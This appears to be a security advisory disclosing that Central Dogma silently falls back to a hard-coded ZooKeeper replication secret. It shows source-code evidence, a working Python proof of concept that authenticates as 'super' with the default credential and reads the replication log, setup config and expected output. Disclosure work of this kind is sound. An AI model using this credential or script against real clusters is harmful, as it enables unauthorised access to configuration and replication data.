Résumé

Central Dogma: Hard-coded ZooKeeper replication secret 'ch4n63m3' with silent fallback enables cluster takeover

Détails de l’avis

Vulnerability

ZooKeeperReplicationConfig.secret() silently substitutes the hard-coded constant "ch4n63m3" (leetspeak for "change me") whenever the operator omits replication.secret. The same secret is wired into both the client-facing SASL context and the quorum/learner SASL contexts of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.

Three Reinforcing Defects

  1. OSS-public credential — DEFAULT_SECRET is in line/centraldogma source.
  2. Silent fallback — firstNonNull(convertValue(...), DEFAULT_SECRET) substitutes the default with no log, no warning, no startup banner. The only sanity check checkArgument(!secret().isEmpty(), ...) passes because the getter substitutes the literal before the emptiness check runs.
  3. Dual-purpose secret — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.

Architecture Context (Important)

Central Dogma does NOT connect to an external ZooKeeper ensemble. Each replica embeds a QuorumPeer (EmbeddedZooKeeper extends QuorumPeer) inside its own JVM. The Central Dogma cluster IS the ZK ensemble. So the "ZK network" is the inter-replica network of the Central Dogma cluster itself.

Applicability

replication.method ZK Started? Applicable?
NONE (standalone, dev default) No NOT applicable
ZOOKEEPER (HA production) Yes, embedded on every replica Fully applicable — canonical production configuration

Evidence

File: server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java Branch: main @ commit d64a5151

Line 53 — the constant:

private static final String DEFAULT_SECRET = "ch4n63m3";

Lines 210–215 — the silent fallback:

/**
 * Returns the secret string used for authenticating the ZooKeeper peers.
 */
public String secret() {
    return firstNonNull(convertValue(secret, "replication.secret"), DEFAULT_SECRET);
}

File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java Lines 586–607 — JAAS wiring (same secret on both surfaces):

final String escapedSecret = jaasValueEscaper.escape(cfg.secret());
ImmutableList.of("Server", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> {
    buf.append(name).append(" {").append(newline);
    buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
    buf.append("user_super=\"").append(escapedSecret).append("\";").append(newline);
    buf.append("};").append(newline);
});
ImmutableList.of("Client", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> {
    buf.append(name).append(" {").append(newline);
    buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
    buf.append("username=\"super\"").append(newline);
    buf.append("password=\"").append(escapedSecret).append("\";").append(newline);
    buf.append("};").append(newline);
});

File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java

Line 44 — proves CD embeds the ZK server:

final class EmbeddedZooKeeper extends QuorumPeer {

Lines 213–220 — client port binding (loopback only):

private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException {
    final InetSocketAddress bindAddr = zkCfg.getClientPortAddress();
    final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory();
    // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others.
    cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0),
                          zkCfg.getMaxClientCnxns());
    return cnxnFactory;
}

Quorum/election ports are NOT loopback-bound — they bind to replication.servers[].host as configured, exposed on the inter-replica network.


PoC

Two attack surfaces, two scenarios. Surface A (client port, same-host) is implemented as a working read-only PoC. Surface B (quorum-port peer impersonation) is documented but intentionally not weaponized.

Surface A — Same-Host Client Port (Loopback) PoC

Python + kazoo + pure-sasl. Authenticates as super over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to 127.0.0.1, read-only, prints first 5 entries.

#!/usr/bin/env python3
"""
C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).

Demonstrates that a Central Dogma instance launched with a
ZooKeeper-replicated configuration but without `replication.secret` set
exposes its embedded ZooKeeper to anyone with local-host access, using
the well-known credential `super / ch4n63m3`.

SAFETY:
  * Hardcoded to 127.0.0.1. Refuses any other target.
  * Read-only. No writes are issued. No nodes are deleted.
  * Limits how much data it prints (first MAX_LOGS entries).
"""
from __future__ import annotations

import sys

from kazoo.client import KazooClient
from kazoo.exceptions import NoNodeError

HOST = "127.0.0.1"
DEFAULT_PORT = 2381
DEFAULT_USER = "super"
DEFAULT_SECRET = "ch4n63m3"  # ZooKeeperReplicationConfig.DEFAULT_SECRET
MAX_LOGS = 5


def main() -> int:
    port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT
    if HOST != "127.0.0.1":
        print("Refusing to run against non-loopback host.", file=sys.stderr)
        return 2

    zk = KazooClient(
        hosts=f"{HOST}:{port}",
        sasl_options={
            "mechanism": "DIGEST-MD5",
            "username": DEFAULT_USER,
            "password": DEFAULT_SECRET,
        },
        read_only=True,
        timeout=5.0,
    )
    try:
        zk.start(timeout=5)
    except Exception as exc:
        print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr)
        return 1

    try:
        try:
            log_children = zk.get_children("/dogma/logs")
        except NoNodeError:
            print("[i] /dogma/logs not present -- is replication actually enabled?")
            log_children = []

        print(f"[+] Authenticated as '{DEFAULT_USER}' with default secret.")
        print(f"[+] /dogma/logs has {len(log_children)} entries.")
        for child in sorted(log_children)[:MAX_LOGS]:
            path = f"/dogma/logs/{child}"
            try:
                data, stat = zk.get(path)
            except NoNodeError:
                continue
            preview = data[:120].decode("utf-8", errors="replace") if data else ""
            print(f"  - {path}  ({stat.dataLength} bytes)  preview={preview!r}")

        try:
            block_children = zk.get_children("/dogma/log_blocks")
            print(f"[+] /dogma/log_blocks has {len(block_children)} entries.")
        except NoNodeError:
            pass

        print(
            f"[!] ZK cluster compromised: read {len(log_children)} log entries "
            "with default credentials."
        )
        return 0
    finally:
        zk.stop()
        zk.close()


if __name__ == "__main__":
    raise SystemExit(main())

Dependencies (requirements.txt): kazoo, pure-sasl

Setup: edit dist/src/conf/dogma.json to enable replication WITHOUT setting secret:

{
  "replication": {
    "method": "ZOOKEEPER",
    "serverId": 1,
    "servers": {
      "1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 }
    }
  }
}

Note: replication.secret is INTENTIONALLY omitted. Launch with ./gradlew :dist:startup.

Run:

python3 zk_takeover.py 2381

Expected output (VULNERABLE):

[+] Authenticated as 'super' with default secret.
[+] /dogma/logs has 14 entries.
  - /dogma/logs/0000000001  (412 bytes)  preview="{"size":..."
  - /dogma/logs/0000000002  (508 bytes)  pre

Références